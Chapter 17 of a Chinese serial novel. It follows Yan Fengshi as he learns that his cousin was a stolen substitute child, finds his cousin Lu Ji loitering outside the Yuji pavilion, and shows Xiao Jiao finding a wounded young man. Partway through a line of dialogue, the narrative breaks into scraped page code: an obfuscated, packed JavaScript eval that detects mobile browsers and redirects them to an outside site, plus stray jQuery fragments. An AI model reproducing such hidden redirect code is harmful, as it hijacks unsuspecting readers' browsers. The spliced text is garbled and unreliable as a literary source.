17. 第17章
    天色一点点暗淡下来,闫风识拿起铜剔,拨亮烛灯。

    远处,淮水画舫凌波,桨声灯影,坊巷里传来货郎们此起彼伏的叫卖声,然而,一切的浮华仿佛已经隐去,在马用絮絮讲述中,那些儿时未曾亲历的往事,一件件,一幕幕,仿佛重新展现在他眼前。

    太和九年,闫风识刚满三岁,也正是那一年,成婚三年的闫月之终于怀上身孕,及初秋艰辛诞下一女婴,但不久身体便极虚弱,于是带着仆从几人搬到庄上修养。闫月之是早产生女,那个婴孩刚出生时孱弱不堪,可到庄上一年,就逐渐养好,满周岁时能蹦能跳,活泼可爱。闫月之因生女而初初抑郁的心情也渐渐开怀,身体日益好转。

    女儿逐渐长大,但唐家却始终没有接回来的打算,且闫月之听说她夫婿还在连二连三纳妾,似乎早把她这位正妻抛之脑后。她原本就与他无甚情感,唐家上下各怀心思,俱都不好相与,反而在庄上的几年生活惬意,闫月之便索性长住下来。

    又是几年过去,到了某年冬日,那一天恰逢玉清天尊诞辰,闫月之一早出门,等她祭拜完毕,忽然大雪狂作,道路被封,她只好等到第二日雪停下山。但等她回到庄上,却不见女儿阿怜的身影,马婆婆焦急等在门口,说阿怜出事了。

    原来昨日阿怜见母亲久不回家,乘下人不备,一个人偷偷跑到后院,爬到了一颗大槐树上,后来风雪大了起来,她想下树,却不慎脚踩空摔下来,至今昏迷不醒。闫月之煞白了脸,大夫来了一波又一波,阿怜却仍没醒来,到了第三日,便断了气。

    闫月之受不了女儿去世的打击,也跟着昏死过去……后来,她总算醒来,精神却日益萎靡,成日痴言痴语,连亲近的人都不理。眼看这样下去夫人也将不成,马婆婆便想要回唐家找家主。

    然而那时,唐家老爷早不记得他还有个在庄上的发妻,马婆婆又不敢说阿怜已死。百般无奈下,马婆婆不得不返回,而就在回来的路上,经过一村落时,她看到田埂边站了个痴呆呆的女童,那个女童看上去同阿怜一般大小,手中拿半串糖葫芦,她左瞧右瞧,田埂旁寂寥廖,一群野鸭在游晃,除此之外,没有一个大人。

    就在那时,一个大胆的念头划过脑海,老实了大半辈子的马婆婆走到女童身边,她双手发颤,还是一把抱起她……也不知跑了多少里路,马婆婆才停了下来,她望向怀中的女童,那孩子不哭不闹,反而乖觉地叫了一声阿婆。

    就这样,马婆婆将孩子带回庄上,闫月之如预想一般慢慢好起来,她唤女童为阿怜,把她当自己的女儿。

    又过了许多年,唐家家主亡故,唐家树倒猢狲散,闫月之卖了庄子,遣散仆从,带着女儿回到金陵。

    “后来,我怕马婆婆说假,曾偷偷蹲在暗处观察,你猜如何?”马用黄豆大的眼睛闪着精光:“我本想蹲那假仁义的闫氏姑夫人,却没想蹲到了她女儿!”

    “唐慧怜?”闫风识微微蹙眉,马用曾在闫府盯梢?

    马用浑然不查,八字胡须捋得溜滑,他压低声音,神秘兮兮道:“那个女子,绝非马婆婆口中温婉秀贞。因为我看见她,偷偷和男子在外私会……”

    闫风识淡笑一声,掸开被紧抓的衣袖,忍不住提醒:“你放才说那家女郎被她母亲严格看管,等闲不出门,又怎会见她和旁人私会?”

    马用挠挠头:“石弟,天地良心,我说的全是亲眼所见,那女郎怎会出门我不知道,但她的确和人约在南烟楼,我虽没瞧清与她相约之人,但我记住了那轿子的模样。”他急忙用手比划,“通体乌黑,外罩银丝帘帐,看上去就忒阔气……”

    作别马用,天已擦黑,几点孤星淡挂,淮水两侧灯火辐辏,谁家小院新长了一树栀子,斜伸出墙头,淡雅清甜,满袖盈香。

    闫风识闻着花香缓缓徐行,心头反复思量:马用其人并非君子,但他的说辞却可和婢子的互为印证。表妹,是否已知道她不是姑母女儿?南烟楼是金陵有名的“阳春白雪”,那个与表妹私会的人,身份定当不凡,会是谁……

    闫风识想着事,一没留神踩了个缺,脚一崴,差点站不稳,幸得怀墨及时拽住,方才免沾得一身泥污。

    “郎君,夏日泥松,最易积水,晚间走路呀,要挑着暗处走,才不至于踩进水洼……咦,那是什么?”怀墨揉了揉眼,躲在闫风识身后叫:“郎君,您快瞧瞧,扑棱蛾子成精了!”

    闫风识顺着他指的方向望去,才知怀墨所言非虚,可不是一只大扑棱蛾子嘛。他走过去,借着绛纱灯泻下的一点昏黄上下打量。

    大扑棱蛾子是一个人。

    他衣衫半敞,发髻松垂,满脸灰土,活脱脱像在泥里滚过一遭,此刻正倚着石墩打盹。闫风识蹙紧眉,最后到底忍不住摇醒了他:“陆霁,醒醒。”

    陆小郎君打着哈欠醒来,一抬头,见是闫风识,顿时满眼放光:“表兄,你怎来这了?”

    闫风识不答,指着他脏兮兮的衣衫问:“你最近到底怎么回事?”

    陆霁抬手一指:“还不是他们不让我进,不然我能弄成这鬼样。”

    陆霁指尖正对之处,眼下灯火莹煌,隐有丝竹之声从内而出,正是他们前几日到过的玉肌阁。阁外站着两三彪汉,见陆霁望过来,不觉各自戒备。

    闫风识眉头拧得更紧,他默了片刻,道:“这几日你没回大理寺,难道天天都在这?”

    陆霁以手托颌,眼巴巴望着门口,长叹:“青汀不知何时回,我只能在此等她……”

    这几日,关于陆小郎君的风言风语已传得金陵上下人人皆知,怀墨忍不住在后面嘀咕:“郎君,你还是离陆小郎君远点,如今谁不知道他为了一个酒伶女,连陆大将军都敢忤逆……”

    “青汀可

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081980|137944||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不是普通酒伶女。”陆霁一把跳将起来,回头撞见两人诧异眼神,又兀自摆手,意兴阑珊道:“说了你们也不懂,算了算了……”

    闫风识凝眸望他,陆霁一副丧魄销魂的痴迷样,他想,当初若没有带他来玉肌阁,料想也不会变成今天这种结局,此事如若追根究底,倒是他种下的因。

    闫风识低咳一声:“少年人知好色而慕少艾无可非议,但阿霁你还未娶妻,总要收敛才是,莫要贪念一时,坏了身体。”

    陆霁摆摆手,只做知道了,见闫风识还有话要说,抢先道:“表兄,你说的我都知道,只是事情并不是你想的那般,青汀她……”正说着,西边夜色忽飘起一盏孔明灯,陆霁瞪大了眼,死死盯着那抹光亮,“表兄,我有事要先走了,改天等我事毕,再一五一十讲给你听。”

    扔下这句话,陆霁解下马绳,一个跃身骑上马,没等闫风识反应过来,已经消失在茫茫夜色中。

    怀墨跟着跑了一小段路,发现实在赶不上,才不得不返回来,见闫风识还望着远处,道:“郎君,您就别担心他了,陆小郎君从小习武,不会出什么事。”

    话虽如此,闫风识思索一番,让怀墨去陆府先将此事告知陆霖。

    ---

    月明星稀,空山人寂。

    萧娇晚膳吃得素,夜里不觉有些饿。她让采薇去看看还有没有茶点,等了许久,人没来,便自己披衣走出门外。

    观里只点了几盏夜灯,四周黑魆魆,古柏暗影狰狞。她在门口站了会,左右等不到采薇,正想唤了个道童去问问,忽听到不远处有“呯呯”几道声响,像是兵刃互碰声,又像是什么东西砸落,再细听时,又什么也听不到了。

    萧娇曾听说,在夜间山里,最好不要随便走动,免得招惹了不干净的东西,她虽不信,但此时一个人站在黑夜里,心中还是有些怵,正准备进屋,突然,远处又传来一声闷哼。这次,她听得很清楚,是一个女子的声音。

    难道是采薇?

    萧娇心里一突,忍着惧意,向声音发源处走。走到古柏下,探身望去,夜雾迷惘,四周都是高木阔叶,哪见到人?

    正犹豫间,兀地里一阵风来,吹散了雾气,她眨了眨眼,一轮圆月从云后钻出。

    澄白月光下,飘飞的落叶里,她看到,有一人躺在树下。

    萧娇瞪圆了眼,那人一身血污,衣衫破乱,右肩更有一处血肉模糊,可见森森白骨……

    那是个男子,而且,不巧萧娇还认识。

    这人正是在玉肌阁内见到的青衫少年。

    萧娇蹙了蹙眉。

    理智告诉她,此刻最好是装没看到远远走开,况且从这人的伤势来看,伤他的人必还在附近,但是她若不管,这人兴许真就没命……

    萧娇瞧了几眼,正犹豫不决时,却不想身后忽有人拍了她一下。